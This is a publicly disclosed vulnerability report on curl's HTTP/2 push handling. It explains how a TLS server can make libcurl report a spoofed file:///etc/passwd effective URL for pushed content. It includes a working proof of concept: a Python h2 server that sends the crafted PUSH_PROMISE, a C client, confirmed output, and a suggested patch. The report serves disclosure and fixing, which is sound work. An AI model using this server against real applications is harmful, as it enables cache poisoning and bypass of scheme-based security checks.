HexBrain

curl · Report #3674275

lib/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)

Informativestatus
mediumseverity
30upvotes
16 Apr 2026disclosed

How it was found

Summary:

set_transfer_url() in lib/http2.c validates the :scheme pseudo-header of PUSH_PROMISE frames only when !via_ssl_conn — a guard added by commit 2e8c922a to block non-TLS connections from accepting TLS-scheme pushes. The symmetric case was not addressed: over TLS, via_ssl_conn is TRUE, the guard at line 735 is skipped, and curl_url_set(u, CURLUPART_SCHEME, v, 0) is called at line 743 with whatever scheme the server supplied. In default builds (CURL_DISABLE_FILE=OFF), Curl_get_scheme("file") returns a valid scheme with a non-NULL run pointer, so curl_url_set returns CURLUE_OK and the push handle URL becomes file:///etc/passwd. The server does not gain local file read — pushed data comes from the H2 stream — but CURLINFO_EFFECTIVE_URL returns "file:///etc/passwd" and the transfer completes result=0, confirmed on libcurl/8.19.0 nghttp2/1.68.1. Applications using CURLMOPT_PUSHFUNCTION that key caches or routing on the effective URL process server-delivered content under a spoofed file:// label; the official CURLMOPT_PUSHFUNCTION.md (line 117) example validates only :path, making it directly exploitable.

Affected version

curl 8.19.0 (x86_64-pc-linux-gnu) libcurl/8.19.0 OpenSSL/3.6.1 zlib/1.3.1.zlib-ng nghttp2/1.68.1 (Arch Linux x86_64) Introduced by: commit 2e8c922a (2026-03-27)

Steps To Reproduce:

Deps: python3, pip install h2, gcc, libcurl-dev with nghttp2 (default build).

  1. Generate TLS cert: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem
    -days 1 -nodes -subj "/CN=localhost"
    -addext "subjectAltName=IP:127.0.0.1"
    -addext "basicConstraints=CA:true"

  2. Save server.py and run: python3 server.py cert.pem key.pem 18443 &

import sys, ssl, socket, threading import h2.connection, h2.config, h2.events CERT, KEY, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3]) def handle(sock): conn = h2.connection.H2Connection( config=h2.config.H2Configuration(client_side=False, header_encoding='utf-8')) conn.initiate_connection(); conn.receive_data(b'') pushed = False; client_id = None while True: data = sock.recv(65535) if not data: break for ev in conn.receive_data(data): if isinstance(ev, h2.events.RequestReceived): client_id = ev.stream_id elif isinstance(ev, h2.events.StreamEnded) and not pushed: pushed = True conn.push_stream(client_id, 2, [(':method','GET'),(':scheme','file'), (':path','/etc/passwd'),(':authority',f'127.0.0.1:{PORT}')]) conn.send_headers(2,[(':status','200')]) conn.send_data(2,b'injected',end_stream=True) conn.send_headers(client_id,[(':status','200')]) conn.send_data(client_id,b'ok',end_stream=True) d = conn.data_to_send(65535) if d: sock.sendall(d) sock.close() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(CERT,KEY); ctx.set_alpn_protocols(['h2']) with socket.socket() as s: s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind(('127.0.0.1',PORT)); s.listen(5); print('READY',flush=True) while True: c,_ = s.accept() threading.Thread(target=lambda c=c: (lambda t: handle(t))(ctx.wrap_socket(c,server_side=True)),daemon=True).start()

  1. Save client.c and compile: gcc -o client client.c $(pkg-config --cflags --libs libcurl)

#include <stdio.h> #include <curl/curl.h> static size_t noop(charp,size_t s,size_t n,voidu){return sn;} static int push_cb(CURLp,CURLc,size_t n,struct curl_pushheadersh,voidu){ charurl=NULL; curl_easy_getinfo(c,CURLINFO_EFFECTIVE_URL,&url); fprintf(stderr,"PUSH URL: %s\n",url?url:"null"); curl_easy_setopt(c,CURLOPT_WRITEFUNCTION,noop); return CURL_PUSH_OK;} int main(int ac,char**av){ CURLMm=curl_multi_init(); CURLe=curl_easy_init(); curl_easy_setopt(e,CURLOPT_URL,av[1]); curl_easy_setopt(e,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0); curl_easy_setopt(e,CURLOPT_CAINFO,av[2]); curl_easy_setopt(e,CURLOPT_WRITEFUNCTION,noop); curl_multi_setopt(m,CURLMOPT_PUSHFUNCTION,push_cb); curl_multi_add_handle(m,e); int r=1; while(r>0){curl_multi_perform(m,&r);if(r)curl_multi_poll(m,0,0,500,0);} return 0;}

  1. Run: ./client https://127.0.0.1:18443/ cert.pem

Confirmed output (libcurl/8.19.0, result=0): PUSH URL: file:///etc/passwd

Impact

Summary:

An HTTPS server can inject any non-HTTP scheme into a pushed resource's effective URL. Applications using CURLMOPT_PUSHFUNCTION receive CURLINFO_EFFECTIVE_URL = "file:///etc/passwd" for server-delivered content. The server does not read local files — data comes from the H2 push stream — but downstream application code that keys response caches, routing decisions, or audit logs on the effective URL processes server-crafted content under a spoofed file:// label (cache poisoning, scheme-based security logic bypass, misleading audit logs). Preconditions: application sets CURLMOPT_PUSHFUNCTION (non-default) and callback accepts the push.

Suggested fix: in set_transfer_url(), add a symmetric check for via_ssl_conn=TRUE that only permits "http" and "https" schemes, mirroring the existing non-SSL guard at line 735:

if(via_ssl_conn) { if(!curl_strequal(v, "https") && !curl_strequal(v, "http")) { rc = 1; goto fail; } } else { const struct Curl_scheme *scheme = Curl_get_scheme(v); if(!scheme || (scheme->flags & PROTOPT_SSL)) { rc = 1; goto fail; } }

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original